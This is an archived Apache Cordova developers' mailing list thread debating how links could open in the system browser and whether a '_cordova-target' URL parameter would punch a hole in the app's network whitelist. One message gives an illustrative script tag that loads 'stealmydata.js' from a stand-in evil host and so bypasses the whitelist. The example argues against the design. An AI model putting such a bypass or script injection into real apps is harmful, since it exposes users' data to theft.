incubator-callback-dev mailing list archives

Site index · List index
Message view « Date » · « Thread »
Top « Date » · « Thread »
From Shazron <shaz...@gmail.com>
Subject Re: API function: Open url in system web browser
Date Sun, 20 May 2012 18:38:27 GMT
Ah I just had a realization that you might think that the whitelist
occurs in shouldStartLoadWithRequest only.

There is also CDVURLProtocol
https://github.com/apache/incubator-cordova-ios/blob/master/CordovaLib/Classes/CDVURLProtocol.m
, which is at a lower level, which captures any network resource being
loaded - anything at all in your app. Script tags, img tags, ajax
calls, etc, network calls in Obj-C -- everything goes through this
NSURLProtocol.

On Sun, May 20, 2012 at 4:21 AM, Brian LeRoux <b@brian.io> wrote:
> thats what I'm saying. and that browser is sandboxed so no worries
> about malicious script injection. it'll just spawn and do nothing (but
> would look sketchy / thats a good thing / fail noisy / etc).
>
> On Sun, May 20, 2012 at 12:25 PM, Jesse MacFadyen
> <purplecabbage@gmail.com> wrote:
>> Backtracking a bit ...
>> Isn't the goal to explicitly open a link in the system browser?
>> ie. even though the whitelist would permit it.
>>
>>
>> On 2012-05-20, at 2:43 AM, Shazron <shazron@gmail.com> wrote:
>>
>>> e.g.
>>> <script src="http://evilsite.com/stealmydata.js?_cordova_target=foo"></script>
>>>
>>> this already escapes the whitelist in your proposal. And your
>>> proposal, for it to work, will need this whitelist exception.
>>>
>>> On Sun, May 20, 2012 at 2:38 AM, Shazron <shazron@gmail.com> wrote:
>>>> On Sun, May 20, 2012 at 12:43 AM, Brian LeRoux <b@brian.io> wrote:
>>>>> How is opening a URL in a web browser a security risk to the Cordova
code
>>>>> shaz?
>>>>
>>>> By opening up the whitelist to exclude urls that have the query param,
>>>> which your proposal requires, it allows malicious code to bypass the
>>>> whitelist by just including this query param. Not through an anchor
>>>> tag perhaps, but through ajax calls. The whitelist intercepts all
>>>> network connections.
>>>>
>>>>>
>>>>> Jesse: a declarative approach just means devs need to manually add the
URL
>>>>> param themselves (quirk). A fair trade while we wait for the beefier
>>>>> programmatic child browser API.
>>>>> On May 20, 2012 6:45 AM, "Shazron" <shazron@gmail.com> wrote:
>>>>>
>>>>>> Jesse, I understand the problem, I know what Brian is asking, I'm
>>>>>> afraid no one does understand with regards to the two request problem.
>>>>>> I was afraid someone would "go there" and suggest to compromise the
>>>>>> whitelist. This is a security problem if we allow any url with
>>>>>> _cordova-target= to circumvent the whitelist check, think about it
-
>>>>>> it's a big hole.
>>>>>>
>>>>>> On Sat, May 19, 2012 at 8:12 PM, Jesse <purplecabbage@gmail.com>
wrote:
>>>>>>> Shaz: I believe Brian is proposing you look for urls
>>>>>>> containing _cordova-target= before rejecting them via the whitelist.
>>>>>>>
>>>>>>> IMHO: The discussed solutions resolve to the same thing, it is
just a
>>>>>>> semantics discussion.
>>>>>>>
>>>>>>> Given the following html placed in the document by the developer:
>>>>>>> <a href="http://somwhere.com" target="_blank">asdf<a>
>>>>>>>
>>>>>>> Providing a new API means the link becomes (or something similar):
>>>>>>> gap://app/openExtUrl/http%3A%2F%2Fsomwhere.com
>>>>>>>
>>>>>>> Brian's proposal means the link becomes :
>>>>>>> http://somwhere.com&_cordova-target=blank
>>>>>>>
>>>>>>> So either native code has to watch for links with '_cordova-target='
or
>>>>>>> just handle another cordova command.
>>>>>>>
>>>>>>> Both solutions require re-writing urls on page load, or on dom
change.
>>>>>>>
>>>>>>> Andrew's earlier suggestion added a document level click handler
that
>>>>>> would
>>>>>>> determine if the clicked item was an <a> and do the right
thing based on
>>>>>>> it's attributes, which I think has some merit in that it handles
dynamic
>>>>>>> content, and it doesn't modify it, it just observes it.
>>>>>>>
>>>>>>> I will be thinking more on this and adding my recommendation
in a while
>>>>>> ...
>>>>>>>
>>>>>>>
>>>>>>>
>>>>>>> On Sat, May 19, 2012 at 7:43 PM, Shazron <shazron@gmail.com>
wrote:
>>>>>>>
>>>>>>>> No. Read it again, especially the two request part. For urls
NOT in
>>>>>>>> the whitelist, the first request will be rejected by the
whitelist. It
>>>>>>>> won't work.
>>>>>>>>
>>>>>>>> On Sat, May 19, 2012 at 7:34 PM, Brian LeRoux <b@brian.io>
wrote:
>>>>>>>>> Ok, so read that, its referring to the target attribute
but it looks
>>>>>>>>> like you can check stil check for a url parameter on
an NSURLRequest
>>>>>>>>> [1].
>>>>>>>>>
>>>>>>>>>
>>>>>>>>
>>>>>> https://developer.apple.com/library/mac/#documentation/Cocoa/Reference/Foundation/Classes/NSURLProtocol_Class/Reference/Reference.html
>>>>>>>>>
>>>>>>>>> So what I'm proposing is this: cordovajs walks the dom
finding all
>>>>>>>>> anchors with a target attribute and adds something like
this to the
>>>>>>>>> href:
>>>>>>>>>
>>>>>>>>> <a href=http://somwhere.com&_cordova-target=blank
>>>>>> target=blank>asdf<.a>
>>>>>>>>>
>>>>>>>>> Then, when clicked, touched, whatever, you capture if
the URL
>>>>>>>>> parameter named _cordova-target exists. If it does, spawn
browser.
>>>>>>>>>
>>>>>>>>> Dynamic links would be missed. I think thats an ok/fair
quirk. If
>>>>>>>>> wanted to be aggressive we *could* watch for dom mutation
events and
>>>>>>>>> solve that too tho I suspect it would not help performance!
>>>>>>>>>
>>>>>>>>>
>>>>>>>>> On Sat, May 19, 2012 at 6:00 PM, Shazron <shazron@gmail.com>
wrote:
>>>>>>>>>> When JIRA is back up (it's under maintenance right
now), see my
>>>>>>>>>> first/second comment on this issue:
>>>>>>>>>> https://issues.apache.org/jira/browse/CB-362
>>>>>>>>>>
>>>>>>>>>> It's a bit too long to rehash :)
>>>>>>>>>>
>>>>>>>>>> On Sat, May 19, 2012 at 8:17 AM, Brian LeRoux <b@brian.io>
wrote:
>>>>>>>>>>> Sorry shaz, I must be dense but I missed the
technical reasons?
>>>>>>>>>>> On May 19, 2012 11:48 AM, "Shazron" <shazron@gmail.com>
wrote:
>>>>>>>>>>>
>>>>>>>>>>>>> The method I'm proposing
>>>>>>>>>>>>> assumes all link events are trapped,
inspected for a url param,
>>>>>> and
>>>>>>>> in
>>>>>>>>>>>>> its absence, falls back to default behavior.
Maybe thats not
>>>>>>>>>>>>> realistic. Seems like both iOS and Android
do not trap the target
>>>>>>>>>>>>> attribute. Which means we'd need to add
a url param so that trap
>>>>>> is
>>>>>>>>>>>>> caught.
>>>>>>>>>>>>>
>>>>>>>>>>>>
>>>>>>>>>>>> It is not entirely a question of "nastiness"
in adding a url param
>>>>>>>>>>>> with regards to why it won't work in iOS
(although imo I don't like
>>>>>>>>>>>> it) - I have already presented valid technical
reasons.
>>>>>>>>>>>>
>>>>>>>>>>>> With respect to achieving all our goals -
not introducing a new
>>>>>> API,
>>>>>>>>>>>> and fixing this bug that sorely needs fixing
- ChildBrowser like
>>>>>> you
>>>>>>>>>>>> proposed is the better bet then. So what
should be the plan for
>>>>>> this?
>>>>>>>>>>>>
>>>>>>>>
>>>>>>>
>>>>>>>
>>>>>>>
>>>>>>> --
>>>>>>> @purplecabbage
>>>>>>> risingj.com
>>>>>>

Mime
View raw message